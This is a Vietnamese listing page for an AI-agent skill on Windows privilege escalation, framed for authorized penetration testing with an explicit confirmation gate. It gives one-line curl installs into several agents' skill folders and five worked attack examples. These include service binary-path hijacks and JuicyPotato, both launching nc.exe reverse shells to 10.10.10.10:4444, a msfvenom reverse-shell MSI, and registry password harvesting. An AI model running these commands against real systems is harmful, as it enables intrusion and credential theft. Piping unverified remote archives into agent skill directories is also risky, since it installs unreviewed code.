windows-privilege-escalation – skill Bảo mật cho agent AI
Cung cấp phương pháp luận có hệ thống để phát hiện và khai thác lỗ hổng leo thang đặc quyền trên hệ thống Windows trong các đợt kiểm thử xâm nhập.
Cài skill windows-privilege-escalation bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/windows-privilege-escalation-6e387.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /windows-privilege-escalation – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/windows-privilege-escalation-6e387.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $windows-privilege-escalation – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/windows-privilege-escalation-6e387.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /windows-privilege-escalation – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/windows-privilege-escalation-6e387.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /windows-privilege-escalation – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
Windows Privilege Escalation
Detailed Guide
Read [the detailed guide](references/detailed-guide.md) before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.
Constraints and Limitations
Operational Boundaries
- Kernel exploits may cause system instability
- Some exploits require specific Windows versions
- AV/EDR may detect and block common tools
- Token impersonation requires service account context
- Some techniques require GUI access
Detection Considerations
- Credential dumping triggers security alerts
- Service modification logged in Event Logs
- PowerShell execution may be monitored
- Known exploit signatures detected by AV
Legal Requirements
- Only test systems with written authorization
- Document all escalation attempts
- Avoid disrupting production systems
- Report all findings through proper channels
Examples
Example 1: Service Binary Path Exploitation
# Find vulnerable service
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Result: RW MyService SERVICE_ALL_ACCESS
# Check current config
sc.exe qc MyService
# Stop service and change binary path
sc.exe stop MyService
sc.exe config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc.exe start MyService
# Catch shell as SYSTEMExample 2: AlwaysInstallElevated Exploitation
# Verify vulnerability
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both return: 0x1
# Generate payload (attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
# Transfer and execute
msiexec /quiet /qn /i C:\Users\Public\shell.msi
# Catch SYSTEM shellExample 3: JuicyPotato Token Impersonation
# Verify SeImpersonatePrivilege
whoami /priv
# SeImpersonatePrivilege Enabled
# Run JuicyPotato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
# Catch SYSTEM shellExample 4: Unquoted Service Path
# Find unquoted path
wmic service get name,pathname | findstr /i /v """
# Result: C:\Program Files\Vuln App\service.exe
# Check the ACTUAL executable candidate parent; write access to the final app folder
# does not imply write access to C:\Program Files. Confirm service identity/restart rights too.
icacls "C:\Program Files"
# Result: Users:(W)
# Place malicious binary
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"
# Restart service
sc.exe stop "Vuln App"
sc.exe start "Vuln App"Example 5: Credential Harvesting from Registry
# Check for auto-logon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# DefaultUserName: Administrator
# DefaultPassword: P@ssw0rd123
# Credential use requires its own confirmed scope; prefer interactive password entry.
runas /user:Administrator cmd.exe
# Never place a discovered password in argv, transcripts or the report.When to Use
This skill is applicable to execute the workflow or actions described in the overview.
Skill liên quan
- xss-html-injection – Thực hiện đánh giá toàn diện lỗ hổng chèn mã phía client trên ứng dụng web để phát hiện…
- zero-trust – Triển khai kiến trúc mạng zero-trust. Cấu hình truy cập dựa trên danh tính, phân đoạn vi…
- zeroize-audit – Phát hiện thiếu xóa an toàn (zeroization) dữ liệu nhạy cảm trong mã nguồn và xác định…
- 1password – Thiết lập op CLI, đăng nhập, rồi đọc hoặc chèn secret.
- 007 – Kiểm toán bảo mật, tăng cường bảo vệ, mô hình hóa mối đe dọa (STRIDE/PASTA), Red/Blue…
- a11y-audit – Skill kiểm toán khả năng tiếp cận để quét, sửa và xác minh mức A và AA của WCAG 2.2 trên…
- 401-403-bypass-techniques – Dùng khi các route HTTP được bảo vệ trả về 401 hoặc 403.
- accessibility-compliance-accessibility-audit – Kiểm tra trang và hành trình người dùng theo phạm vi WCAG đã khai báo. Dùng khi xác định…